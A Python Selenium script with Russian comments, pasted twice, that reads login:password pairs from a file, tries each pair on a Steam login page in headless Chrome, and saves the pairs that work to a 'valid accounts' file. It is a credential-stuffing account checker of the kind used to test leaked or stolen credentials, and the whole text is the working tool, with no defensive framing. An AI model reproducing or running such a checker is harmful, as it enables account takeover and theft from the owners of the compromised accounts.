from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import time
# Настройки
INPUT_FILE = "accounts.txt" # Файл с аккаунтами (логин:пароль)
OUTPUT_FILE = "valid_accounts.txt" # Рабочие аккаунты
INVALID_FILE = "invalid_accounts.txt" # Нерабочие аккаунты
STEAM_LOGIN_URL = ""
# Настройка Selenium
options = webdriver.ChromeOptions()
options.add_argument("--headless") # Без графического интерфейса
options.add_argument("--disable-gpu")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
driver = webdriver.Chrome(options=options)
def check_account(login, password):
driver.get(STEAM_LOGIN_URL)
time.sleep(3) # Ожидание загрузки страницы
try:
username_input = driver.find_element(By.ID, "input_username")
password_input = driver.find_element(By.ID, "input_password")
login_button = driver.find_element(By.CLASS_NAME, "login_btn")
username_input.send_keys(login)
password_input.send_keys(password)
login_button.click()
time.sleep(5) # Ожидание проверки
if "incorrect" in driver.page_source.lower():
return False # Неправильный логин или пароль
else:
return True # Возможно, аккаунт рабочий
except Exception as e:
print(f"Ошибка при проверке {login}: {e}")
return False
def main():
with open(INPUT_FILE, "r") as file:
accounts = [line.strip() for line in file]
valid_accounts = []
invalid_accounts = []
for account in accounts:
try:
login, password = account.split(":")
if check_account(login, password):
valid_accounts.append(account)
print(f"[+] Рабочий аккаунт: {account}")
else:
invalid_accounts.append(account)
print(f"[-] Не рабочий аккаунт: {account}")
except Exception as e:
print(f"Ошибка обработки аккаунта {account}: {e}")
with open(OUTPUT_FILE, "w") as file:
file.write("\n".join(valid_accounts))
with open(INVALID_FILE, "w") as file:
file.write("\n".join(invalid_accounts))
driver.quit()
print("Проверка завершена!")
if __name__ == "__main__":
main()
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import time
# Настройки
INPUT_FILE = "accounts.txt" # Файл с аккаунтами (логин:пароль)
OUTPUT_FILE = "valid_accounts.txt" # Рабочие аккаунты
INVALID_FILE = "invalid_accounts.txt" # Нерабочие аккаунты
STEAM_LOGIN_URL = ""
# Настройка Selenium
options = webdriver.ChromeOptions()
options.add_argument("--headless") # Без графического интерфейса
options.add_argument("--disable-gpu")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
driver = webdriver.Chrome(options=options)
def check_account(login, password):
driver.get(STEAM_LOGIN_URL)
time.sleep(3) # Ожидание загрузки страницы
try:
username_input = driver.find_element(By.ID, "input_username")
password_input = driver.find_element(By.ID, "input_password")
login_button = driver.find_element(By.CLASS_NAME, "login_btn")
username_input.send_keys(login)
password_input.send_keys(password)
login_button.click()
time.sleep(5) # Ожидание проверки
if "incorrect" in driver.page_source.lower():
return False # Неправильный логин или пароль
else:
return True # Возможно, аккаунт рабочий
except Exception as e:
print(f"Ошибка при проверке {login}: {e}")
return False
def main():
with open(INPUT_FILE, "r") as file:
accounts = [line.strip() for line in file]
valid_accounts = []
invalid_accounts = []
for account in accounts:
try:
login, password = account.split(":")
if check_account(login, password):
valid_accounts.append(account)
print(f"[+] Рабочий аккаунт: {account}")
else:
invalid_accounts.append(account)
print(f"[-] Не рабочий аккаунт: {account}")
except Exception as e:
print(f"Ошибка обработки аккаунта {account}: {e}")
with open(OUTPUT_FILE, "w") as file:
file.write("\n".join(valid_accounts))
with open(INVALID_FILE, "w") as file:
file.write("\n".join(invalid_accounts))
driver.quit()
print("Проверка завершена!")
if __name__ == "__main__":
main()